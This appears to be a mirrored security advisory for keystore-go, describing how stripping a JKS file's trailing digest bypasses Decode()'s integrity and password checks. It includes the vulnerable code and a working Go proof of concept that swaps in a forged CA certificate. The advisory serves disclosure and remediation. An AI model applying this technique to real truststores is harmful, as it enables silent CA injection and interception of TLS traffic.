GHSA-J282-PJG5-J643
keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v3.0.3 | github.com/pavel-v-chernykh/keystore-go/v3 · -2309 d desde divulgación | |
| Divulgación | Publicada | GHSA-J282-PJG5-J643 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
`keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.
### Details
Affected versions: `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path). v3 and v4 releases are not impacted.
In `decoder.go`, function `Decode`, lines 264-272:
computedDigest := ksd.md.Sum(nil)
actualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))
for i := 0; i < len(actualDigest); i++ {
if actualDigest[i] != computedDigest[i] {
return nil, ErrInvalidDigest
}
}
return keyStore, nilTwo defects combine here:
- The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected.
- The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`.
`readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`:
_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])
if err != nil {
return result, ErrIo
}When the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`.
The JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || "Mighty Aphrodite" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently:
- An attacker who can modify a `.jks` truststore on disk — but does not know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.
- After the digest is stripped, `Decode()` accepts any password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.
The reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour.
PoC
go mod init poc
go get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible
go run .package main
import (
"bytes"
"fmt"
"os"
keystore "github.com/pavel-v-chernykh/keystore-go"
)
func main() {
originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE")
evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length
ks := keystore.KeyStore{
"trusted-ca": &keystore.TrustedCertificateEntry{
Certificate: keystore.Certificate{
Type: "X509",
Content: originalCert,
},
},
}
var buf bytes.Buffer
if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil {
panic(err)
}
legit := buf.Bytes()
fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit))
// Sanity: untampered keystore with WRONG password is rejected.
_, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password"))
fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v (expected ErrInvalidDigest)\n", err)
// Attacker: tamper with the certificate, then strip the 20-byte digest.
tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)
tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely
// 1) Tampered keystore + CORRECT password: integrity check should fail.
out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password"))
if err == nil {
entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry)
fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n")
fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content)
} else {
fmt.Printf("[ok] tampered keystore rejected: %v\n", err)
os.Exit(1)
}
// 2) Tampered keystore + WRONG password: should also fail.
out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know"))
if err2 == nil {
entry := out2["trusted-ca"].(*keystore.TrustedCertificateEntry)
fmt.Printf("[BYPASS] Tampered keystore accepted with WRONG password.\n")
fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content)
} else {
fmt.Printf("[ok] wrong password rejected: %v\n", err2)
os.Exit(1)
}
}Expected output:
[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)
[*] Decode(legit, wrong-password) -> err=keystore: invalid digest (expected ErrInvalidDigest)
[BYPASS] Tampered keystore accepted with correct password.
Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"
[BYPASS] Tampered keystore accepted with WRONG password.
Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"### Impact
Any application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does not know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.
This defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, "Update to go1.13"), which added an `if err != nil { return … }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag v3.0.0. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path — every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths:
- `github.com/pavel-v-chernykh/keystore-go/v3` ≥ v3.0.0
- `github.com/pavel-v-chernykh/keystore-go/v4` ≥ v4.0.0
- `github.com/pavlo-v-chernykh/keystore-go/v4` ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)
Users of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/pavel-v-chernykh/keystore-go |
Sin parche | — | — | v2.1.0+incompatible afectada |
gogithub.com/pavel-v-chernykh/keystore-go/v3 |
Corregida | v3.0.3 | -2309 d | v3.1.0 no afectada |
3.0.0v3.0.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-76101https://github.com/pavlo-v-chernykh/keystore-go/security/advisories/GHSA-j282-pjg5-j643https://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851https://github.com/pavlo-v-chernykh/keystore-gohttps://github.com/pavlo-v-chernykh/keystore-go/releases/tag/v3.0.0Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
